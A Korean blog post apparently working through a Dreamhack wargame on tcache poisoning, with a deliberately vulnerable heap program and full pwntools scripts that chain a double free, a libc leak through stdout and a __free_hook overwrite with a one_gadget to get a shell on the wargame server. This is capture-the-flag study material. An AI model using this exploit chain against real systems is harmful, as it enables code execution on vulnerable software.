본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 12 - 함께실습

by 단월໒꒱ 2022. 4. 5.

[Exploit Tech: Tcache Poisoning]

1. Tcache Poisoning

 1) Tcache Poisoning

   - tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법

   - 중복으로 연결된 청크를 재할당하면, 그 청크가 해제된 청크인 동시에, 할당된 청크라는 특징을 이용한 공격

   - 이런 중첩 상태를 이용하면, 임의 주소에 청크를 할당할 수 있으며, 그 청크를 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있음

 

 

 

 

   - 실습 코드

 

 

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  
  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);
    
    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}

 

 

2. 분석 및 설계

 1) 보호 기법

   - 코드를 컴파일하고 checksec으로 보호 기법 확인

 

 

 

 

   - NX와 FULL RELRO 보호 기법이 적용되어 있음

       -> 훅을 덮는 공격을 고려해볼 수 있음

 

 2) 코드 분석

 

 

      case 2:
        free(chunk);
        break;

 

 

   - 청크를 해제하는 case 2 부분을 보면, 청크를 해제하고 chunk 포인터를 초기화하지 않으므로, 이를 다시 해제하는 것이 가능

   - 즉, Double Free 취약점이 존재함

 

 

      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;

 

 

   - chunk 포인터를 초기화하지 않았으므로 해제된 청크르이 데이터를 case 4에서 조작할 수 있음

   - 이를 이용하면 Double Free 와 관련된 보호 기법을 우회할 수 있을 것

 

 3) 익스플로잇 설계

   - 익스플로잇 목표 : 훅을 덮어서 실행 흐름을 조작하고, 결과적으로 셸을 획득하는 것

   - 임의 주소 읽기로 libc가 매핑된 주소를 알아내고, 임의 주소 쓰기로 해당 주소에 one_gadget 주소를 덮어쓰면 될 것

   - 코드에 Double Free 취약점이 있고, 관련된 우회기법을 우회하는 것도 가능하므로 Tcache Poisonin을 사용하면 될 것

 

    ① Tcache Poisoning

       - 임의 주소 읽기 및 쓰기를 위해 사용

       - 관련 보호 기법이 없으므로 적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능

       - 그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있음

 

    ② Libc leak

       - 코드를 살펴보면 setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 I0_2_1_stdin과 I0_2_1_stdout을 가리킴

       - 따라서 이 중 한 변수의 값을 읽으면 그 값을 이용하여 libc의 주소를 계산할 수 잇음

       - 이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 잇음

       - 따라서 Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것

 

    ③ Hook overwrite to get shell

       - Libc가 매핑된 주소를 구했다면, 그로부터 one_gadget의 주소와 __free_hook의 주소를 계산할 수 있음

       - 다시 tcache poisoning으로 __free_hook에 청크를 할당하고, 그 청크에 적절한 one_gadget 주소를 입력하면 free를 호출하여 셸을 획득할 수 있을 것

 

3. 익스플로잇

 1) Tcache Poisoning

   - pwntool로 Double Free를 일으키고 Tcache Poisoning으로 0x4141414141414141을 tcache에 추가하자

   - 그 상태에서 0x30 크기의 청크를 두번 할당하여 공격이 성공했는지 확인할 수 있다

   - 아래 처럼 프로세스가 SIGSEGV로 종료되면 성공한 것

 

 

 

 

# Name: tcache_poison.py
#!/usr/bin/python3

from pwn import *

p = process("./tcache_poison")
e = ELF("./tcache_poison")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
    
def free():
    p.sendlineafter("Edit\n", "2")
    
def print_chunk():
    p.sendlineafter("Edit\n", "3")
    
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
    
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append "0x4141414141414141" to tcache[0x40]
alloc(0x30, "AAAAAAAA")

p.interactive()

 

 

 2) Libc leak

   - Tcache Poisoning으로 stdout의 주소에 청크를 할당하고, 값을 읽어서 libc가 매핑된 주소 및 one_gadget과 __free_hook의 주소를 계산하자

   - 여기서, stdout은 표준 출력과 관련된 중요한 포인터 변수이므로, 그 값을 변경하지 않도록 주의해야 한다

 

 

 

 

# Name: tcache_poison.py
#!/usr/bin/python3

from pwn import *

p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
    
def free():
    p.sendlineafter("Edit\n", "2")
    
def print_chunk():
    p.sendlineafter("Edit\n", "3")
    
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
    
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB")      # "dreamhack"
alloc(0x30, "\x60")          # stdout

# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog("free_hook", fh)
slog("one_gadget", og)

 

 

 3) Hook overwrite to get shell

   - 앞서 계산한 __free_hook의 주소에 Tcache Poisoning으로 청크를 할당하고, one_gadget의 주소를 덮어쓰면, free를 호출하여 셸을 획득할 수 있다

   - 주의할 점은, 앞서 오염시킨 tcache[0x40]을 재사용해서는 안된다는 것

   - Tcache Poisoning으로 stdout에 청크를 할당받을 때, stdout의 fd는 _IO_2_1_stdout_이었다

   - 따라서 이 상태에서 0x30 크기로 다시 할당 요청하면, _IO_2_1_stdout_에 청크를 할당받게 된다

   - 해당 구조체는 표준 출력과 관련하여 중요한 역할을 하므로, 임의로 값을 조작해서는 안된다

   - 이런 경우에는, 다른 크기의 tcache를 대상을 공격을 시도하는 게 좋다

   - 위의 유의사항을 참고하여 Tcache Poisoning으로 __free_hook을 조작하고 free를 호출하여 셸을 획득하라

 

 

[Wargame : Tcache Poisoning]

 

 

 

c코드를 살펴보니 앞에서 함께 실습했던 코드랑 동일한 내용이다.

자세한 내용은 앞서 설명했으므로 생략하고 드림핵 포트와 연결해주는 부분을 추가해주었다.

 

이렇게 완성한 익스플로잇 코드는 아래와 같다.

 

 

from pwn import *

p = remote("host1.dreamhack.games", 23337)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
    
def free():
    p.sendlineafter("Edit\n", "2")
    
def print_chunk():
    p.sendlineafter("Edit\n", "3")
    
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
    
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB")      # "dreamhack"
alloc(0x30, "\x60")          # stdout

# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog("free_hook", fh)
slog("one_gadget", og)

# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()

alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

 

 

작성한 익스플로잇 코드를 실행시키니 

 

 

 

 

셸 획득에 성공하여 ls로 파일을 확인한 뒤 cat으로 flag 내용을 확인할 수 있었다.

 

 

 

 

댓글